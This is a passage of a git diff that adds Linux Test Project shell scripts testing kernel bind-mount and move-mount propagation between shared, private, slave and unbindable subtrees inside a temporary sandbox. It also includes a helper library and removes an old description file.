+
+	if [ -e "$dir" ]; then
+		tst_brk TBROK "An entry by the name \"$dir\" exists already"
+	fi
+
+	ROD mkdir -p "$dir"
+
+	# Most mount implementations can use --make-* in the same command as bind,
+	# but busybox mount, fails at least to set --make-private
+	EXPECT_PASS mount --bind "$dir" "$dir"
+	EXPECT_PASS mount --make-$bind_type "$dir"
+}
+
+# Verifies that subtrees contain the same content
+# usage: fs_bind_check [-n] dir1 dirn...
+# where
+#  -n  If set, expectes the subtrees to not be equal
+#  -s  Run check in mount namespace
+# dir1 dirn... An arbitraty number of directories, that are compared.
+#              If -n is given, only two directories are allowed.
+fs_bind_check()
+{
+	local OPTIND expect_diff use_ns args msg dir1 dir2 fail output
+	expect_diff=0
+	use_ns=0
+	while getopts "ns" args; do
+		case "$args" in
+		n) expect_diff=1; ;;
+		s) use_ns=1; ;;
+		esac
+	done
+	shift $((OPTIND-1))
+	msg="Check"
+	[ $expect_diff -eq 1 ] && msg="$msg no"
+	msg="$msg propagation"
+	if [ $use_ns -eq 1 ]; then
+		[ -z "$FS_BIND_MNTNS_PID" ] && tst_brk TBROK "Namespace does not exist"
+		msg="$msg in mnt namespace"
+	fi
+	msg="$msg $*"
+
+	if [ $# -lt 2 ] || ( [ $expect_diff -eq 1 ] && [ $# -ne 2 ] ); then
+		tst_brk TBROK "Insufficient arguments"
+	fi
+
+	dir1=$1
+	shift
+
+	for dir2 in "$@"; do
+		# compare adjacent pairs of directory trees
+
+	    if [ ! -d "$dir1" ]; then
+	        tst_res TFAIL "$msg: \"$dir1\" does not exist"
+	        return 1
+	    elif [ ! -d "$dir2" ]; then
+	        if [ $expect_diff -eq 1 ]; then
+	            tst_res TPASS "$msg"
+	            return 0
+	        else
+	            tst_res TFAIL "$msg: \"$dir2\" does not exist"
+	            return 1
+	        fi
+	    fi
+
+		if [ $use_ns -eq 1 ]; then
+			output="$(ns_exec ${FS_BIND_MNTNS_PID} mnt diff -r "$PWD/$dir1" "$PWD/$dir2" 2> /dev/null)"
+		else
+			output="$(diff -r "$dir1" "$dir2" 2> /dev/null)"
+		fi
+
+		if [ $? -ne 0 ]; then
+			if [ $expect_diff -eq 1 ]; then
+	            # Since expect_diff=1 allows only two directories
+	            # to be compared, we are done after finding the first diff
+				tst_res TPASS "$msg"
+				return 0
+			else
+				tst_res TFAIL "$msg:"
+	            tst_res TFAIL "\"$dir1\" \"$dir2\" differ:\n$output"
+				return 1
+			fi
+		fi
+		dir1="$dir2"
+	done
+
+	if [ $expect_diff -eq 1 ]; then
+		tst_res TFAIL "$msg"
+		return 1
+	else
+		tst_res TPASS "$msg"
+		return 0
+	fi
+}
+
+fs_bind_setup()
+{
+	fs_bind_makedir private "$FS_BIND_SANDBOX"
+
+	cd $FS_BIND_SANDBOX
+	mkdir -p "$FS_BIND_DISK1" "$FS_BIND_DISK2" "$FS_BIND_DISK3" "$FS_BIND_DISK4"
+	mkdir "$FS_BIND_DISK1/a" "$FS_BIND_DISK1/b" "$FS_BIND_DISK1/c"
+	mkdir "$FS_BIND_DISK2/d" "$FS_BIND_DISK2/e" "$FS_BIND_DISK2/f"
+	mkdir "$FS_BIND_DISK3/g" "$FS_BIND_DISK3/h" "$FS_BIND_DISK3/i"
+	mkdir "$FS_BIND_DISK4/j" "$FS_BIND_DISK4/k" "$FS_BIND_DISK4/l"
+}
+
+_fs_bind_unmount_all()
+{
+	local mounts
+
+	cd "$TST_TMPDIR"
+
+	# Cleanup leftover mounts from the test
+	# sed '1!G;h;$!d' is used to reverse /proc/mounts.
+	# unmounting in reverse order requires significantly less iterations
+	# There is a slight chance, this loop does not terminate, if a mount
+	# cannot be unmounted for some reason. In that case the timeout
+	# will kill the test, but we cannot restore the system anyway
+	while true; do
+		mounts=$( sed '1!G;h;$!d' /proc/mounts \
+			| awk -vtmp="$TST_TMPDIR/$FS_BIND_SANDBOX/" \
+			'index($2, tmp) {print $2}' )
+		[ -z "$mounts" ] && break
+		echo $mounts | xargs umount 2>/dev/null
+	done
+}
+
+fs_bind_cleanup()
+{
+	_fs_bind_unmount_all
+	umount "$FS_BIND_SANDBOX"
+}
+
+_fs_bind_setup_test()
+{
+	local e
+
+	cd "$TST_TMPDIR/$FS_BIND_SANDBOX" || tst_brk "Unable to cd into sandbox"
+
+	for e in ls *; do
+		if   [ "$e" = "$FS_BIND_DISK1" ] \
+		  || [ "$e" = "$FS_BIND_DISK2" ] \
+		  || [ "$e" = "$FS_BIND_DISK3" ] \
+		  || [ "$e" = "$FS_BIND_DISK4" ]; then
+		  continue
+		fi
+		rm -rf "$e"
+	done
+}
+
+fs_bind_create_ns()
+{
+	[ -n "$FS_BIND_MNTNS_PID" ] && tst_brk TBROK "Namespace exist already"
+	FS_BIND_MNTNS_PID=$(ns_create mnt)
+}
+
+fs_bind_exec_ns()
+{
+	[ -z "$FS_BIND_MNTNS_PID" ] && tst_brk TBROK "Namespace does not exist"
+	EXPECT_PASS ns_exec $FS_BIND_MNTNS_PID mnt "$@"
+}
+
+fs_bind_destroy_ns()
+{
+	[ -n "$FS_BIND_MNTNS_PID" ] && kill $FS_BIND_MNTNS_PID 2>/dev/null
+	FS_BIND_MNTNS_PID=
+}
+
+_fs_bind_cleanup_test()
+{
+	local mounts
+
+	fs_bind_destroy_ns
+
+	mounts=$( awk -v tmp="$TST_TMPDIR/$FS_BIND_SANDBOX/" '
+		index($2, tmp) {
+			print substr($2, length(tmp) + 1)
+		}
+	' /proc/mounts )
+	if [ -n "$mounts" ]; then
+		tst_res TFAIL "There are still mounts in the sandbox:\n$mounts"
+	fi
+	_fs_bind_unmount_all
+}
+
+fs_bind_test()
+{
+	_fs_bind_setup_test
+
+	if type ${FS_BIND_TESTFUNC}1 > /dev/null 2>&1; then
+		"$FS_BIND_TESTFUNC$_tst_i" $1
+	else
+		"$FS_BIND_TESTFUNC" $1
+	fi
+
+	_fs_bind_cleanup_test
+}
+
+. tst_test.sh
+[ -z "$FS_BIND_TESTFUNC" ] && tst_brk TBROK "Please set FS_BIND_TESTFUNC before sourcing fs_bind_lib.sh"
diff --git a/testcases/kernel/fs/fs_bind/fs_bind_regression.sh b/testcases/kernel/fs/fs_bind/fs_bind_regression.sh
new file mode 100755
index 0000000..e346b1e
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/fs_bind_regression.sh
@@ -0,0 +1,56 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+TST_CNT=3
+FS_BIND_TESTFUNC=test
+
+
+test1()
+{
+	tst_res TINFO "regression: bind unshared directory to unshare mountpoint"
+
+	mkdir dir
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" dir
+	fs_bind_check "$FS_BIND_DISK1" dir
+	EXPECT_PASS umount dir
+}
+
+test2()
+{
+	tst_res TINFO "regression: rbind unshared directory to unshare mountpoint"
+
+	mkdir dir1
+	mkdir dir2
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" dir1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" dir1/a
+	EXPECT_PASS mount --rbind dir1 dir2
+
+	fs_bind_check dir1/a dir2/a
+
+	EXPECT_PASS umount dir1/a
+	EXPECT_PASS umount dir2/a
+	EXPECT_PASS umount dir2
+	EXPECT_PASS umount dir1
+}
+
+test3()
+{
+	tst_res TINFO "regression: move unshared directory to unshare mountpoint"
+
+	mkdir dir1
+	mkdir dir2
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" dir1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" dir1/a
+	EXPECT_PASS mount --move dir1 dir2
+
+	fs_bind_check dir2/a "$FS_BIND_DISK2"
+
+	EXPECT_PASS umount dir2/a
+	EXPECT_PASS umount dir2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/00_Descriptions.txt b/testcases/kernel/fs/fs_bind/move/00_Descriptions.txt
deleted file mode 100644
index 9355d82..0000000
--- a/testcases/kernel/fs/fs_bind/move/00_Descriptions.txt
+++ /dev/null
@@ -1,158 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) International Business Machines  Corp., 2008                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-
-OO_DESCRIPTION.txt
-==================
-
-The contents of the move directory:
-test01 - shared child to shared parent.
-test02 - shared subtree to private parent.
-test03 - shared subtree to slave parent.
-test04 - shared subtree to uncloneable parent.
-test05 - private subtree to shared parent.
-test06 - private subtree to private parent.
-test07 - private subtree to slave parent.
-test08 - private subtree to uncloneable parent.
-test09 - slave subtree to shared parent.
-test10 - slave subtree to private parent.
-test11 - slave subtree to slave parent.
-test12 - slave subtree to uncloneable parent.
-test13 - uncloneable subtree to shared parent.
-test14 - uncloneable subtree to private parent.
-test15 - uncloneable subtree to slave parent.
-test16 - uncloneable subtree to uncloneable parent.
-test17 - tree with shared parent - check ERROR.
-test18 - private to private - with shared children
-test19 - private to private - with slave children
-test20 - private to private - with unclonable children
-test21 - shared tree within a tree it is bound to.
-test22 - shared tree within a tree it is bound to - and then move t
-
-
-test01:
-=======
-shared child to shared parent.
-
-
-test02:
-=======
-shared subtree to private parent.
-
-
-test03:
-=======
-shared subtree to slave parent.
-
-
-test04:
-=======
-shared subtree to uncloneable parent.
-
-
-test05:
-=======
-private subtree to shared parent.
-
-
-test06:
-=======
-private subtree to private parent.
-
-
-test07:
-=======
-private subtree to slave parent.
-
-
-test08:
-=======
-private subtree to uncloneable parent.
-
-
-test09:
-=======
-slave subtree to shared parent.
-
-
-test10:
-=======
-slave subtree to private parent.
-
-
-test11:
-=======
-slave subtree to slave parent.
-
-
-test12:
-=======
-slave subtree to uncloneable parent.
-
-
-test13:
-=======
-uncloneable subtree to shared parent.
-
-
-test14:
-=======
-uncloneable subtree to private parent.
-
-
-test15:
-=======
-uncloneable subtree to slave parent.
-
-
-test16:
-=======
-uncloneable subtree to uncloneable parent.
-
-
-test17:
-=======
-tree with shared parent - check ERROR.
-
-
-test18:
-=======
-private to private - with shared children
-
-
-test19:
-=======
-private to private - with slave children
-
-
-test20:
-=======
-private to private - with unclonable children
-
-
-test21:
-=======
-shared tree within a tree it is bound to.
-
-
-test22:
-=======
-shared tree within a tree it is bound to - and then move to another share subtree
-
-
diff --git a/testcases/kernel/fs/fs_bind/move/Makefile b/testcases/kernel/fs/fs_bind/move/Makefile
new file mode 100644
index 0000000..4823326
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/Makefile
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Ngie Cooper, July 2009
+
+top_srcdir			?= ../../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS			:= fs_bind*
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move01.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move01.sh
new file mode 100755
index 0000000..0e3e608
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move01.sh
@@ -0,0 +1,43 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+test()
+{
+	tst_res TINFO "move: shared child to shared parent"
+
+	fs_bind_makedir rshared dir
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --bind dir share1
+	EXPECT_PASS mount --bind parent2 share2
+	mkdir dir/grandchild
+	mkdir parent2/child2
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check parent2/child2/grandchild share1/grandchild share2/child2/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share1/grandchild/a
+
+	fs_bind_check parent2/child2/grandchild/a share1/grandchild/a share2/child2/grandchild/a
+
+	EXPECT_PASS umount share1/grandchild/a
+	EXPECT_PASS umount share1/grandchild/
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move02.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move02.sh
new file mode 100755
index 0000000..06e140d
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move02.sh
@@ -0,0 +1,45 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: shared subtree to private parent"
+
+	fs_bind_makedir rshared dir
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --bind dir share1
+	mkdir dir/grandchild
+	mkdir parent2/child2
+	EXPECT_PASS mount --move dir parent2/child2
+	EXPECT_PASS mount --bind parent2 share2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check parent2/child2/grandchild share1/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+	fs_bind_check -n share2/child2 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share1/grandchild/a
+
+	fs_bind_check parent2/child2/grandchild/a share1/grandchild/a
+
+	EXPECT_PASS umount share1/grandchild/a
+	EXPECT_PASS umount share1/grandchild/
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move03.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move03.sh
new file mode 100755
index 0000000..dad8930
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move03.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: shared subtree to slave parent"
+
+	fs_bind_makedir rshared dir
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --bind dir share1
+	EXPECT_PASS mount --bind share2 parent2
+	mkdir dir/grandchild
+	mkdir parent2/child2
+	EXPECT_PASS mount --make-rslave parent2
+
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check parent2/child2/grandchild share1/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+	fs_bind_check -n share2/child2 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share1/grandchild/a
+
+	fs_bind_check parent2/child2/grandchild/a share1/grandchild/a
+
+	EXPECT_PASS umount share1/grandchild/a
+	EXPECT_PASS umount parent2/child2/grandchild
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move04.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move04.sh
new file mode 100755
index 0000000..dc92681
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move04.sh
@@ -0,0 +1,41 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: shared subtree to uncloneable parent"
+
+	fs_bind_makedir rshared dir
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+
+
+	EXPECT_PASS mount --bind dir share1
+	mkdir dir/grandchild
+	mkdir parent2/child2
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check parent2/child2/grandchild share1/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share1/grandchild/a
+
+	fs_bind_check parent2/child2/grandchild/a share1/grandchild/a
+
+	EXPECT_PASS umount share1/grandchild/a
+	EXPECT_PASS umount share1/grandchild/
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move05.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move05.sh
new file mode 100755
index 0000000..222bbda
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move05.sh
@@ -0,0 +1,44 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: private subtree to shared parent"
+	fs_bind_makedir private dir
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --bind parent2 share2
+	mkdir dir/grandchild
+	EXPECT_PASS mount --bind dir share1
+	mkdir parent2/child2
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check parent2/child2/grandchild share2/child2/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+	fs_bind_check -n share1/grandchild parent2/child2/grandchild
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share2/child2/grandchild/a
+
+	fs_bind_check parent2/child2/grandchild/a share2/child2/grandchild/a
+
+	EXPECT_PASS umount parent2/child2/grandchild/a
+	EXPECT_PASS umount parent2/child2/grandchild
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move06.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move06.sh
new file mode 100755
index 0000000..3898aea
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move06.sh
@@ -0,0 +1,40 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: private subtree to private parent"
+
+	fs_bind_makedir private dir
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared share1
+
+	mkdir dir/grandchild
+	EXPECT_PASS mount --bind dir share1
+	mkdir parent2/child2
+	EXPECT_PASS mount --bind parent2 share2
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check -n parent2/child2/grandchild share2/child2/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+	fs_bind_check -n share1/grandchild parent2/child2/grandchild
+
+	EXPECT_PASS umount parent2/child2/grandchild
+	EXPECT_PASS umount parent2/child2/
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move07.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move07.sh
new file mode 100755
index 0000000..7b26706
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move07.sh
@@ -0,0 +1,41 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: private subtree to slave parent"
+
+	fs_bind_makedir private dir
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared share1
+
+	mkdir dir/grandchild
+	EXPECT_PASS mount --bind dir share1
+	mkdir parent2/child2
+	EXPECT_PASS mount --bind parent2 share2
+	EXPECT_PASS mount --make-rslave parent2
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check -n parent2/child2/grandchild share2/child2/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+	fs_bind_check -n share1/grandchild parent2/child2/grandchild
+
+	EXPECT_PASS umount parent2/child2/grandchild
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move08.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move08.sh
new file mode 100755
index 0000000..0767a61
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move08.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: private subtree to uncloneable parent"
+
+	fs_bind_makedir private dir
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+
+	mkdir dir/grandchild
+	EXPECT_PASS mount --bind dir share1
+	mkdir parent2/child2
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+	fs_bind_check -n share1/grandchild parent2/child2/grandchild
+
+	EXPECT_PASS umount parent2/child2/grandchild
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move09.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move09.sh
new file mode 100755
index 0000000..2067ca7
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move09.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: slave subtree to shared parent"
+
+	fs_bind_makedir rshared dir
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --bind parent2 share2
+	mkdir dir/grandchild
+	EXPECT_PASS mount --bind dir share1
+	EXPECT_PASS mount --make-rslave dir
+	mkdir parent2/child2
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild
+	fs_bind_check parent2/child2/grandchild share2/child2/grandchild
+	fs_bind_check -n dir/grandchild parent2/child2/grandchild
+	fs_bind_check -n share1/grandchild parent2/child2/grandchild
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share2/child2/grandchild/a
+
+	fs_bind_check parent2/child2/grandchild/a share2/child2/grandchild/a
+
+	mkdir share1/test
+
+	fs_bind_check parent2/child2 share1
+
+	EXPECT_PASS umount parent2/child2/grandchild/a
+	EXPECT_PASS umount parent2/child2/grandchild
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move10.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move10.sh
new file mode 100755
index 0000000..be5432b
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move10.sh
@@ -0,0 +1,46 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: slave subtree to private parent"
+
+	fs_bind_makedir rshared dir
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared share1
+
+	mkdir dir/grandchild
+	EXPECT_PASS mount --bind dir share1
+	EXPECT_PASS mount --make-rslave dir
+	mkdir parent2/child2
+	EXPECT_PASS mount --bind parent2 share2
+
+	EXPECT_PASS mount --move dir parent2/child2
+	fs_bind_check -n parent2/child2 share2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1/grandchild
+	fs_bind_check parent2/child2/grandchild share1/grandchild
+	fs_bind_check -n dir/grandchild/ parent2/child2/grandchild
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/child2/grandchild/a
+	fs_bind_check -n share1/grandchild/a parent2/child2/grandchild/a
+
+	EXPECT_PASS umount parent2/child2/grandchild/a
+	EXPECT_PASS umount share1/grandchild
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move11.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move11.sh
new file mode 100755
index 0000000..35fb56a
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move11.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: slave subtree to slave parent"
+
+	fs_bind_makedir rshared dir
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared share1
+
+	mkdir dir/grandchild
+	EXPECT_PASS mount --bind dir share1
+	EXPECT_PASS mount --make-rslave dir
+	mkdir parent2/child2
+	EXPECT_PASS mount --bind parent2 share2
+	EXPECT_PASS mount --make-rslave parent2
+
+	EXPECT_PASS mount --move dir parent2/child2
+	fs_bind_check -n parent2/child2 share2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1/grandchild
+	fs_bind_check parent2/child2/grandchild share1/grandchild
